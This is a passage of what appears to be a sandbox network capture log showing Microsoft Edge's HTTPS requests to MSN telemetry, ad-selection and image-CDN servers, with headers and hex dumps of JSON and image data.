2024-11-27 23:19:49 UTC	3735	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 32 33 3a 31 39 3a 34 36 2e 37 37 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 37 31 39 34 33 62 33 2d 62 38 63 31 2d 34 65 39 64 2d 39 35 32 65 2d 31 39 38 64 33 33 62 38 61 36 33 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 39 34 32 30 36 31 37 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-27T23:19:46.774Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"b71943b3-b8c1-4e9d-952e-198d33b8a634","epoch":"2294206174"},"app":{"locale
2024-11-27 23:19:50 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5a82fa1c39af4467b242e59f87415880&HASH=5a82&LV=202411&V=4&LU=1732749590173; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 23:19:50 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f19ff9c46a5b4bdaabc55f0b02bd18d5; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 23:49:50 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3395 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49879	20.110.205.119	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	1175	OUT	GET /c.gif?rnd=1732749586780&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=813126f5459c469fbc2c891c9735c300&activityId=813126f5459c469fbc2c891c9735c300&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
2024-11-27 23:19:49 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732749586780&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=813126f5459c469fbc2c891c9735c300&activityId=813126f5459c469fbc2c891c9735c300&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=158F1CDE0AE442BB82701695903E2247&RedC=c.msn.com&MXFR=29AE41A233D86250177B54E632BA6317 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=29AE41A233D86250177B54E632BA6317; domain=.msn.com; expires=Mon, 22-Dec-2025 23:19:49 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49881	20.1.248.118	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29AE41A233D86250177B54E632BA6317&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=dc27158018c6443ab264836e1b5852c0 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
2024-11-27 23:19:49 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:49 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49888	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:50 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Wed, 27 Nov 2024 12:17:54 GMT X-Source-Length: 57629 X-Datacenter: eastus X-ActivityId: 733408e0-70e5-4cc9-a4d1-40398da40a86 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=392234 Expires: Mon, 02 Dec 2024 12:17:03 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:50 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 23:19:50 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-11-27 23:19:50 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-11-27 23:19:50 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-11-27 23:19:50 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49885	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:49 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=49753 Expires: Thu, 28 Nov 2024 13:09:02 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:49 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49886	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:49 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=181994 Expires: Sat, 30 Nov 2024 01:53:03 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:49 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49887	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:50 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=68014 Expires: Thu, 28 Nov 2024 18:13:23 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
2024-11-27 23:19:50 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49889	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:50 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=266935 Expires: Sun, 01 Dec 2024 01:28:44 GMT Date: Wed, 27 Nov 2024 23:19:49 GMT Connection: close
